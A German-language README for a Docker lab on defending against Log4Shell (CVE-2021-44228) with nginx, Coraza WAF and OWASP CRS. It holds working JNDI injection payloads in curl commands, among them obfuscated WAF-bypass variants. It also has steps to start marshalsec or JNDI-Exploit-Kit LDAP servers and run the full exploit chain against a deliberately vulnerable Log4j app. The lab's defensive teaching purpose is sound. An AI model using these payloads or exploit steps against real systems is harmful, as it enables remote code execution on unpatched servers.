
Log4Shell (CVE-2021-44228) Abwehrlabor — nginx + Coraza WAF dynamic module + OWASP CRS v4. Nur für Bildungszwecke.
Bildungs-/Abwehrzweck: Dieses Labor enthält eine absichtlich verwundbare App (Log4j 2.14.1) und ein JNDI-Exploit-Kit, NUR zum Erlernen der Erkennung und Blockierung von Log4Shell in einer isolierten Umgebung. Nicht im Internet bereitstellen, nicht zum Angriff auf Systeme verwenden, die nicht Ihnen gehören.
Labor zur praktischen Abwehr von Log4Shell (CVE-2021-44228) mit nginx, integriertem Coraza WAF (Dynamic Module) + OWASP CRS v4 + benutzerdefinierten JNDI-Regeln. Enthält einen verwundbaren Spring Boot Target-Container, eine Kali-Angreifer-Box sowie Suricata + Wazuh zur Überwachung.
Host (Windows / Docker Desktop)
│
├── dmz-net (172.20.0.0/24, external-facing)
│ ├── nginx-proxy ← entrypoint :80/:443, có Coraza module + CRS v4
│ ├── attacker-box ← Kali + JNDI exploit kits
│ └── suricata-ids ← sniff dmz traffic
│
└── backend-net (172.22.0.0/24, internal: true)
├── nginx-proxy ← second NIC
├── log4shell-app ← Spring Boot Log4j 2.14.1
├── wazuh-manager ← SIEM
└── wazuh-dashboard ← UI
Request flow: client → nginx (Coraza inspect) → log4shell-app. WAF läuft innerhalb von nginx (über Modul ngx_http_coraza_module.so), nicht als separater Container.
| Komponente | Mindestversion |
|---|---|
| Docker Desktop / Engine | 24+ mit Compose v2 |
| Freier RAM | 4 GB (Wazuh verbraucht ~1.5 GB) |
| Freier Speicherplatz | 6 GB (Image-Build-Artefakte) |
| Erste Build-Zeit | 10–15 Minuten (libcoraza + nginx-Modul + Maven-Angreifer-Tools) |
cd /path/to/log4shell-nginx-coraza
docker compose build
Die langsamste Stufe ist nginx (Build von libcoraza v1.4.0 mit Go 1.25, dann Kompilierung des coraza-nginx-Moduls). Wird nach dem ersten Mal gecacht.
docker compose up -d
docker compose ps
Nach ~30s erwarteter Status:
| Service | STATUS |
|---|---|
nginx-proxy | Up (healthy) |
victim-app | Up |
kali-attacker | Up |
wazuh-siem, wazuh-web | Up |
suricata-ids | möglicherweise Restarting (siehe Abschnitt 8 — blockiert das Labor nicht) |
# nginx liveness
curl http://localhost/health
# → "nginx proxy healthy"
# qua WAF tới app (endpoint thật của log4shell-vulnerable-app)
curl -H 'X-Api-Version: 1.0' http://localhost/
# → "Hello, world!"
curl http://localhost/ ohne Header X-Api-Version gibt 400 zurück — das ist ein Spring Boot Whitelabel-Fehler (kein Handler), nicht vom WAF blockiert.
# JNDI trong User-Agent → rule 1910010 fire, 403
curl -i -H 'User-Agent: ${jndi:ldap://attacker:1389/x}' http://localhost/
# JNDI trong header app log: X-Api-Version → rule 1910001 (header+arg) fire, 403
curl -i -H 'X-Api-Version: ${jndi:ldap://attacker:1389/Exploit}' http://localhost/
# JNDI trong query string → CRS phase 1 chặn
curl -i 'http://localhost/?x=${jndi:ldap://attacker/x}'
Erwartet: HTTP/1.1 403 Forbidden, Body <html>... 403 Forbidden ... nginx ...</html>.
# Lower trick (rule 1910004 / 1910008)
curl -i -H 'User-Agent: ${${lower:j}ndi:ldap://attacker:1389/x}' http://localhost/
# Colon-dash-dash (rule 1910008)
curl -i -H 'User-Agent: ${${::-j}${::-n}${::-d}${::-i}:ldap://attacker:1389/x}' http://localhost/
curl -i -X POST -H 'Content-Type: application/json' \
-d '{"msg":"${jndi:ldap://attacker:1389/x}"}' \
http://localhost/api/log
# → 403 (rule 1910026: Content-Type=json + body chứa jndi)
docker exec nginx-proxy sh -c 'tail -f /var/log/coraza/audit.log' | python -c "
import json,sys
for ln in sys.stdin:
try:
d=json.loads(ln)
t=d['transaction']
ua=t['request']['headers'].get('user-agent',['?'])[0][:60]
st=t['response']['status']
for m in t.get('messages') or []:
print(f'{st} {ua} :: {m[\"error_message\"][:160]}')
except: pass
"
Jedes Ereignis ist JSON Lines, mit:
transaction.is_interrupted: true → WAF blockiertmessages[].error_message → welche Regel ausgelöst wurde, Datei & Zeile, Schweregraddocker exec nginx-proxy tail -f /var/log/nginx/access.log
Filtern der Blockierungen:
docker exec nginx-proxy sh -c 'grep " 403 " /var/log/nginx/access.log | tail'
./logs/nginx/ ← access.log, error.log
./logs/coraza/ ← audit.log (JSON), debug.log
Standardmäßig ist
backend-netaufinternal: truegesetzt undattacker-boxbefindet sich nur indmz-net, daher kann log4shell-app die Angreifer-Box NICHT erreichen. Damit die JNDI-Kette Ende-zu-Ende funktioniert, führen Sie zuerst Schritt 6.0 aus.
Sửa docker-compose.yml, thêm attacker-box vào backend-net:
attacker-box:
networks:
- dmz-net
- backend-net # <— thêm
Hoặc chuyển log4shell-app sang dmz-net (đơn giản hơn nhưng giảm tính giáo dục về segmentation):
log4shell-app:
networks:
- backend-net
- dmz-net # <— thêm
Anwenden: docker compose up -d (Compose erstellt den entsprechenden Container neu).
docker exec -it kali-attacker bash
cd /opt/exploits
# Option A: marshalsec — đơn giản, chỉ relay LDAP→HTTP
./scripts/start-ldap-server.sh marshalsec '' 172.20.0.2
# Option B: JNDI-Exploit-Kit — full toolkit, payload "touch /tmp/pwned"
./scripts/start-ldap-server.sh jndi-kit
Der Server hört auf LDAP :1389 und HTTP :8888 (im Compose gegenüber dem Host freigegeben).
# Từ attacker-box, gọi thẳng log4shell-app trên backend-net
docker exec kali-attacker curl -s -H 'X-Api-Version: ${jndi:ldap://172.20.0.2:1389/Exploit}' http://victim-app:8080/
Überprüfung:
# Pwned marker được tạo trong app container
docker exec victim-app ls -la /tmp/pwned
Wenn die Datei vorhanden ist → Exploit-Kette OK, App ist weiterhin verwundbar, WAF wird bei Verwendung des Hauptwegs NICHT umgangen.
# Đi qua nginx (đường chính public)
curl -i -H 'X-Api-Version: ${jndi:ldap://172.20.0.2:1389/Exploit}' http://localhost/
# → 403 Forbidden, KHÔNG có /tmp/pwned mới
Die Datei ./coraza/config/log4shell-rules.conf wird :ro in nginx unter /etc/nginx/coraza/log4shell-rules.conf eingehängt. Nach der Bearbeitung:
docker exec nginx-proxy nginx -t # syntax check
docker exec nginx-proxy nginx -s reload
Wenn Coraza einen Parsing-Fehler meldet (failed to compile the directive...), werden die Workers beendet und nginx -s reload kann sie nicht neu starten. Dann:
docker compose restart nginx
docker exec nginx-proxy tail -20 /var/log/nginx/error.log
Include-Reihenfolge (in nginx/coraza/main.conf, bereits im Image eingebaut):
SecRuleEngine On, audit log, debug logcrs-setup.conf — initialisiert tx.*_anomaly_score, Schwellenwertowasp-crs/rules/*.conf — das gesamte CRS v4.7.0log4shell-rules.conf — benutzerdefinierte Regeln (vom Host eingehängt)